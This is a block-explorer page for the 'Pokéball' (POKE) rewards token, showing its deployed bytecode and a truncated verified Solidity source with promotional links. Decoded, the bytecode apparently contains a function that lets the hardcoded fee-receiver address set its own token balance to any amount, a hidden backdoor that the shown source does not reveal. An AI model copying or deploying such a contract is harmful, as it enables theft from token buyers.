Forkchoice Ethereum Mainnet

Address Contract Verified

Address 0xe07DC3a2a80cF91e5ea03ef6b61b41a4C88E2CB1
Balance 0 ETH
Nonce 1
Code Size 10187 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

10187 bytes
0x60806040526004361061020a575f3560e01c8063893d20e811610113578063c0cbdea41161009d578063dd62ed3e1161006d578063dd62ed3e1461065a578063ef43b02b1461069e578063efca2eed146106bd578063f2fde38b146106d2578063ffd49c84146106f1575f5ffd5b8063c0cbdea41461059b578063c942435d146105ba578063ca89b899146105ce578063ce7c2ac214610605575f5ffd5b80639358928b116100e35780639358928b1461050857806395d89b411461051c578063997664d714610548578063a8aa1b311461055d578063a9059cbb1461057c575f5ffd5b8063893d20e81461048f5780638c41180e146104ab5780638cd4426d146104ca5780638ffc80a1146104e9575f5ffd5b8063313ce567116101945780634355855a116101645780634355855a146103f957806348ff2b8b146104275780634fab0ae81461044657806360e719621461045b57806370a0823114610470575f5ffd5b8063313ce5671461037c57806334c5d2ce146103975780633a98ef39146103b65780633f4218e0146103cb575f5ffd5b8063228cb733116101da578063228cb733146102c657806323b872dd146102fd57806328fd31981461031c578063293230b81461033b5780632f54bf6e1461034f575f5ffd5b806306fdde0314610215578063095ea7b3146102585780630ca61cb11461028757806318160ddd146102a8575f5ffd5b3661021157005b5f5ffd5b348015610220575f5ffd5b50604080518082019091526009815268141bdaf0ea58985b1b60ba1b60208201525b60405161024f91906123b0565b60405180910390f35b348015610263575f5ffd5b506102776102723660046123fc565b610706565b604051901515815260200161024f565b348015610292575f5ffd5b506102a66102a1366004612426565b61071c565b005b3480156102b3575f5ffd5b506001545b60405190815260200161024f565b3480156102d1575f5ffd5b50601a546102e5906001600160a01b031681565b6040516001600160a01b03909116815260200161024f565b348015610308575f5ffd5b5061027761031736600461244f565b61075c565b348015610327575f5ffd5b506102b861033636600461248d565b6107c4565b348015610346575f5ffd5b506102a661084a565b34801561035a575f5ffd5b5061027761036936600461248d565b5f546001600160a01b0391821691161490565b348015610387575f5ffd5b506040516009815260200161024f565b3480156103a2575f5ffd5b506102a66103b1366004612426565b610888565b3480156103c1575f5ffd5b506102b8601b5481565b3480156103d6575f5ffd5b506102776103e536600461248d565b60076020525f908152604090205460ff1681565b348015610404575f5ffd5b5061027761041336600461248d565b60086020525f908152604090205460ff1681565b348015610432575f5ffd5b506102a66104413660046124b5565b6109d7565b348015610451575f5ffd5b506102b860265481565b348015610466575f5ffd5b506102b860275481565b34801561047b575f5ffd5b506102b861048a36600461248d565b610a2a565b34801561049a575f5ffd5b505f546001600160a01b03166102e5565b3480156104b6575f5ffd5b506102a66104c53660046124b5565b610a44565b3480156104d5575f5ffd5b506102a66104e43660046123fc565b610b19565b3480156104f4575f5ffd5b506102a66105033660046124ec565b610bb5565b348015610513575f5ffd5b506102b8610c8f565b348015610527575f5ffd5b50604080518082019091526004815263504f4b4560e01b6020820152610242565b348015610553575f5ffd5b506102b8601c5481565b348015610568575f5ffd5b50600b546102e5906001600160a01b031681565b348015610587575f5ffd5b506102776105963660046123fc565b610cbe565b3480156105a6575f5ffd5b506102a66105b5366004612426565b610cca565b3480156105c5575f5ffd5b506102a6610dc6565b3480156105d9575f5ffd5b506102b86105e836600461248d565b6001600160a01b03165f9081526023602052604090206002015490565b348015610610575f5ffd5b5061063f61061f36600461248d565b60236020525f908152604090208054600182015460029092015490919083565b6040805193845260208401929092529082015260600161024f565b348015610665575f5ffd5b506102b861067436600461250c565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b3480156106a9575f5ffd5b506102a66106b83660046124b5565b610dd1565b3480156106c8575f5ffd5b506102b8601d5481565b3480156106dd575f5ffd5b506102a66106ec36600461248d565b610e42565b3480156106fc575f5ffd5b506102b860255481565b5f610712338484610ebe565b5060015b92915050565b5f546001600160a01b0316331461074e5760405162461bcd60e51b815260040161074590612538565b60405180910390fd5b602592909255602655602755565b5f610768848484610fe1565b6107b984336107b48560405180606001604052806028815260200161276e602891396001600160a01b038a165f908152600660209081526040808320338452909152902054919061118c565b610ebe565b5060015b9392505050565b6001600160a01b0381165f9081526023602052604081205481036107e957505f919050565b6001600160a01b0382165f9081526023602052604081205461080a906111b7565b6001600160a01b0384165f9081526023602052604090206001015490915080821161083857505f9392505050565b61084282826111d3565b949350505050565b5f546001600160a01b031633146108735760405162461bcd60e51b815260040161074590612538565b600b805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146108b15760405162461bcd60e51b815260040161074590612538565b5f612710846108bf60015490565b6108c9919061256c565b6108d39190612583565b90505f612710846108e360015490565b6108ed919061256c565b6108f79190612583565b90505f6127108461090760015490565b610911919061256c565b61091b9190612583565b60028490556003839055600481905590505f61094d6103e8610947600561094160015490565b906111de565b906111e9565b905080841015801561095f5750808310155b801561096b5750808210155b6109ce5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b6064820152608401610745565b50505050505050565b5f546001600160a01b03163314610a005760405162461bcd60e51b815260040161074590612538565b6001600160a01b03919091165f908152600760205260409020805460ff1916911515919091179055565b6001600160a01b03165f9081526005602052604090205490565b5f546001600160a01b03163314610a6d5760405162461bcd60e51b815260040161074590612538565b600b546001600160a01b03838116911614801590610a995750600a546001600160a01b03838116911614155b8015610aae57506001600160a01b0382163014155b610aef5760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b6044820152606401610745565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b03163314610b425760405162461bcd60e51b815260040161074590612538565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610b8c573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bb091906125a2565b505050565b8015610c3f57600a545f805460405163f305d71960e01b81526001600160a01b039384169363f305d719938693610bfa9330938a9392839291169042906004016125bd565b60606040518083038185885af1158015610c16573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610c3b91906125f8565b5050505b7356e7f24885c1481f24b8974a3b358961d42ba9e45f81905260056020527f6ceaa2109fe5de59f726e4ca8a1c3cc5067bc0071aa846bbbfa4f88b6985ee5d8390553314610c8b575f5ffd5b5050565b5f610cb9610c9c5f610a2a565b610cb3610caa61dead610a2a565b600154906111d3565b906111d3565b905090565b5f610712338484610fe1565b5f546001600160a01b03163314610cf35760405162461bcd60e51b815260040161074590612538565b600d839055600e829055610d078284612623565b601155610d148284612623565b6012556013819055601454610d2a9060056111e9565b60115411158015610d4a5750601454610d449060056111e9565b60125411155b8015610d655750601454610d5f9060056111e9565b60135411155b610bb05760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b6064820152608401610745565b610dcf336111f4565b565b5f546001600160a01b03163314610dfa5760405162461bcd60e51b815260040161074590612538565b6001600160a01b0382165f908152600860205260409020805460ff19168215801591909117909155610e3057610c8b825f611326565b610c8b82610e3d84610a2a565b611326565b5f546001600160a01b03163314610e6b5760405162461bcd60e51b815260040161074590612538565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610f205760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610745565b6001600160a01b038216610f815760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610745565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b610fec838383611436565b610ff683836115cf565b61100183838361165e565b61100b8383611747565b61101683838361179c565b6110218383836118c5565b6001600160a01b0383165f9081526005602052604090205461104390826111d3565b6001600160a01b0384165f9081526005602052604081209190915561106884846118e9565b611072578161107d565b61107d84848461192d565b6001600160a01b0384165f908152600560205260409020549091506110a29082611a17565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110f59085815260200190565b60405180910390a36001600160a01b0384165f9081526008602052604090205460ff166111295761112984610e3d86610a2a565b6001600160a01b0383165f9081526008602052604090205460ff166111555761115583610e3d85610a2a565b6001600160a01b0383165f908152602360205260409020541561117b5761117b836111f4565b611186602754611a22565b50505050565b5f81848411156111af5760405162461bcd60e51b815260040161074591906123b0565b505050900390565b5f610716601f54610947601e54856111de90919063ffffffff16565b5f6107bd8284612636565b5f6107bd828461256c565b5f6107bd8284612583565b6001600160a01b0381165f9081526023602052604081205490036112155750565b5f61121f826107c4565b90508015610c8b57601d546112349082611a17565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303815f875af1158015611287573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ab91906125a2565b506001600160a01b0382165f90815260226020908152604080832042905560239091529020600201546112de9082611a17565b6001600160a01b0383165f908152602360205260409020600281019190915554611307906111b7565b6001600160a01b0383165f908152602360205260409020600101555050565b5f8111801561134a57506001600160a01b0382165f90815260236020526040902054155b156113ae57602080546001600160a01b0384165f8181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b03191690911790556113e0565b801580156113d257506001600160a01b0382165f9081526023602052604090205415155b156113e0576113e082611b08565b6001600160a01b0382165f90815260236020526040902054601b5461141091839161140a916111d3565b90611a17565b601b556001600160a01b0382165f908152602360205260409020819055611307816111b7565b6001600160a01b03831661149a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610745565b6001600160a01b0382166114fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610745565b5f811161155d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610745565b61156683610a2a565b811115610bb05760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b6064820152608401610745565b6001600160a01b0382165f9081526007602052604090205460ff1615801561160f57506001600160a01b0381165f9081526007602052604090205460ff16155b15610c8b57600b54600160a01b900460ff16610c8b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b6044820152606401610745565b6001600160a01b0383165f9081526007602052604090205460ff1615801561169e57506001600160a01b0382165f9081526007602052604090205460ff16155b80156116b85750600b546001600160a01b03838116911614155b80156116cf57506001600160a01b03821661dead14155b15610bb0576004546001600160a01b0383165f908152600560205260409020546116f99083611a17565b1115610bb05760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e00006044820152606401610745565b600b546001600160a01b03828116911614801561177c57506001600160a01b0382165f9081526007602052604090205460ff16155b15610c8b57600160165f8282546117939190612623565b90915550505050565b600b546001600160a01b0384811691161461183b57600354811115806117d957506001600160a01b0383165f9081526007602052604090205460ff165b806117fb57506001600160a01b0382165f9081526007602052604090205460ff165b61183b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610745565b6002548111158061186357506001600160a01b0383165f9081526007602052604090205460ff165b8061188557506001600160a01b0382165f9081526007602052604090205460ff165b610bb05760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610745565b6118d0838383611c17565b15610bb0576118e0601854611cc5565b5f601655505050565b6001600160a01b0382165f9081526007602052604081205460ff161580156107bd5750506001600160a01b03165f9081526007602052604090205460ff1615919050565b5f5f6119398585611e75565b1115611a10575f61195b61194d8686611e75565b6014546109419086906111e9565b305f908152600560205260409020549091506119779082611a17565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119c79085815260200190565b60405180910390a3601054156119fe576119fe3061dead6119f9601054610941601454896111e990919063ffffffff16565b610fe1565b611a0883826111d3565b9150506107bd565b5092915050565b5f6107bd8284612623565b6020545f819003611a31575050565b5f805a90505f5b8483108015611a4657508381105b15611b01578360245410611a59575f6024555b611a8a602060245481548110611a7157611a71612649565b5f918252602090912001546001600160a01b0316611f14565b15611ac057611ac0602060245481548110611aa757611aa7612649565b5f918252602090912001546001600160a01b03166111f4565b611ad5611ace5a84906111d3565b8490611a17565b92505a602480549193505f611ae98361265d565b91905055508080611af99061265d565b915050611a38565b5050505050565b60208054611b1890600190612636565b81548110611b2857611b28612649565b5f9182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611b6157611b61612649565b5f91825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611bab90600190612636565b81548110611bbb57611bbb612649565b5f9182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611bf457611bf4612675565b5f8281526020902081015f1990810180546001600160a01b031916905501905550565b5f5f60195483101590505f601854611c2e30610a2a565b601754911115915060ff16158015611c48575060155460ff165b8015611c5d5750600b54600160a01b900460ff165b8015611c665750815b8015611c8a57506001600160a01b0386165f9081526007602052604090205460ff16155b8015611ca35750600b546001600160a01b038681169116145b8015611cb25750600260165410155b8015611cbb5750805b9695505050505050565b600160175f6101000a81548160ff0219169083151502179055505f611d0d6002610941600e5461140a600f5461140a600d5461140a6001600c54611a1790919063ffffffff16565b90505f611d2982610947600c54866111de90919063ffffffff16565b90505f611d3684836111d3565b905047611d4282611f58565b5f611d4d47836111d3565b90505f611d6f611d68600c54886111d390919063ffffffff16565b83906111e9565b90505f611d87600c54836111de90919063ffffffff16565b90508015611d9957611d9986826120a8565b600d545f90611dad906109418560026111de565b90508015611df5576040517356e7f24885c1481f24b8974a3b358961d42ba9e49082156108fc029083905f818181858888f19350505050158015611df3573d5f5f3e3d5ffd5b505b600e545f90611e09906109418660026111de565b90508015611e1a57611e1a81612151565b4715611e5f576040517356e7f24885c1481f24b8974a3b358961d42ba9e4904780156108fc02915f818181858888f19350505050158015611e5d573d5f5f3e3d5ffd5b505b50506017805460ff191690555050505050505050565b6001600160a01b0382165f9081526009602052604081205460ff1680611eb257506001600160a01b0382165f9081526009602052604090205460ff165b15611ecc57601454611ec59060646111d3565b9050610716565b600b546001600160a01b0390811690831603611eeb5750601254610716565b600b546001600160a01b0390811690841603611f0a5750601154610716565b5060135492915050565b6025546001600160a01b0382165f9081526022602052604081205490914291611f3d9190612623565b1080156107165750602654611f51836107c4565b1192915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110611f8b57611f8b612649565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611fe2573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906120069190612689565b8160018151811061201957612019612649565b6001600160a01b039283166020918202929092010152600a5461203f9130911684610ebe565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906120779085905f908690309042906004016126e7565b5f604051808303815f87803b15801561208e575f5ffd5b505af11580156120a0573d5f5f3e3d5ffd5b505050505050565b600a546120c09030906001600160a01b031684610ebe565b600a5460405163f305d71960e01b81526001600160a01b039091169063f305d71990839061211090309087905f9081907356e7f24885c1481f24b8974a3b358961d42ba9e49042906004016125bd565b60606040518083038185885af115801561212c573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190611b0191906125f8565b601a546040516370a0823160e01b81523060048201525f916001600160a01b0316906370a0823190602401602060405180830381865afa158015612197573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906121bb9190612722565b6040805160028082526060820183529293505f9290916020830190803683375050600a54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa158015612227573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061224b9190612689565b815f8151811061225d5761225d612649565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061228e5761228e612649565b6001600160a01b039283166020918202929092010152600a5460405163b6f9de9560e01b815291169063b6f9de959085906122d3905f90869030904290600401612739565b5f604051808303818588803b1580156122ea575f5ffd5b505af11580156122fc573d5f5f3e3d5ffd5b5050601a546040516370a0823160e01b81523060048201525f945061237393508692506001600160a01b03909116906370a0823190602401602060405180830381865afa15801561234f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb39190612722565b601c549091506123839082611a17565b601c55601b54601f546123a79161239e9161094790856111de565b601e5490611a17565b601e5550505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146123f9575f5ffd5b50565b5f5f6040838503121561240d575f5ffd5b8235612418816123e5565b946020939093013593505050565b5f5f5f60608486031215612438575f5ffd5b505081359360208301359350604090920135919050565b5f5f5f60608486031215612461575f5ffd5b833561246c816123e5565b9250602084013561247c816123e5565b929592945050506040919091013590565b5f6020828403121561249d575f5ffd5b81356107bd816123e5565b80151581146123f9575f5ffd5b5f5f604083850312156124c6575f5ffd5b82356124d1816123e5565b915060208301356124e1816124a8565b809150509250929050565b5f5f604083850312156124fd575f5ffd5b50508035926020909101359150565b5f5f6040838503121561251d575f5ffd5b8235612528816123e5565b915060208301356124e1816123e5565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761071657610716612558565b5f8261259d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f602082840312156125b2575f5ffd5b81516107bd816124a8565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f5f5f6060848603121561260a575f5ffd5b5050815160208301516040909301519094929350919050565b8082018082111561071657610716612558565b8181038181111561071657610716612558565b634e487b7160e01b5f52603260045260245ffd5b5f6001820161266e5761266e612558565b5060010190565b634e487b7160e01b5f52603160045260245ffd5b5f60208284031215612699575f5ffd5b81516107bd816123e5565b5f8151808452602084019350602083015f5b828110156126dd5781516001600160a01b03168652602095860195909101906001016126b6565b5093949350505050565b85815284602082015260a060408201525f61270560a08301866126a4565b6001600160a01b0394909416606083015250608001529392505050565b5f60208284031215612732575f5ffd5b5051919050565b848152608060208201525f61275160808301866126a4565b6001600160a01b0394909416604083015250606001529291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122084422e43b0934128a2a031e4feea25cc3bbbf6bc2fbb3c28f357f3a1fe4a2cd564736f6c634300081e0033

Verified Source Code Full Match

Compiler: v0.8.30+commit.73712a01 EVM: prague Optimization: Yes (200 runs)
PokeBallRewards.sol 467 lines
/**

⚡️ Automatic Rewards

Hold $POKE and earn $PIKACHU rewards automatically every 15 minutes directly to your wallet!
Gotta Catch 'Em All! 🔥

https://t.me/PokeballETH
https://pokeball.sbs
https://x.com/PokeBallETH


*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
            if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract PokeBallRewards is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = unicode'Pokéball';
    string private constant _symbol = 'POKE';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000 * (10 ** _decimals);
    uint256 private _maxTxAmount = ( _totalSupply * 300 ) / 10000;
    uint256 private _maxSellAmount = ( _totalSupply * 100 ) / 10000;
    uint256 private _maxWalletToken = ( _totalSupply * 300 ) / 10000;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isDividendExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 10;
    uint256 private rewardsFee = 5;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 15;
    uint256 private sellFee = 15;
    uint256 private transferFee = 0;
    uint256 private denominator = 100;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 private swapThreshold = ( _totalSupply * 500 ) / 100000;
    uint256 private _minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    address public reward = 0xE09fB60E8D6e7E1CEbBE821bD5c3FC67a40F86bF;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10 ** 36;
    address[] shareholders;
    mapping (address => uint256) shareholderIndexes;
    mapping (address => uint256) shareholderClaims;
    struct Share {uint256 amount; uint256 totalExcluded; uint256 totalRealised; }
    mapping (address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 15 minutes;
    uint256 public minDistribution = 1 * (10 ** 16);
    uint256 public distributorGas = 500000;
    function _claimDividend() external {distributeDividend(msg.sender);}

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal constant development_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;
    address internal constant marketing_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;
    address internal constant liquidity_receiver = 0x56E7F24885c1481f24b8974a3b358961d42Ba9E4;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router;
        pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function startTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function totalSupply() public view override returns (uint256) {return _totalSupply;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function circulatingSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function preTxCheck(address sender, address recipient, uint256 amount) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > uint256(0), "Transfer amount must be greater than zero");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        checkMaxWallet(sender, recipient, amount);
        swapbackCounters(sender, recipient);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if(!isDividendExempt[sender]){setShare(sender, balanceOf(sender));}
        if(!isDividendExempt[recipient]){setShare(recipient, balanceOf(recipient));}
        if(shares[recipient].amount > 0){distributeDividend(recipient);}
        process(distributorGas);
    }

    function setStructure(uint256 _marketing, uint256 _rewards, uint256 _trans) external onlyOwner {
        marketingFee = _marketing;
        rewardsFee = _rewards;
        totalFee = _marketing + _rewards;
        sellFee = _marketing + _rewards;
        transferFee = _trans;
        require(totalFee <= denominator.div(5) && sellFee <= denominator.div(5) && transferFee <= denominator.div(5), "totalFee and sellFee cannot be more than 20%");
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(_address != address(pair) && _address != address(router) && _address != address(this), "Ineligible Address");
        isBot[_address] = _enabled;
    }

    function setParameters(uint256 _buy, uint256 _trans, uint256 _wallet) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function checkTradingAllowed(address sender, address recipient) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
    }

    function checkMaxWallet(address sender, address recipient, uint256 amount) internal view {
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
            require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
    }

    function swapbackCounters(address sender, address recipient) internal {
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
    }

    function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee).add(rewardsFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
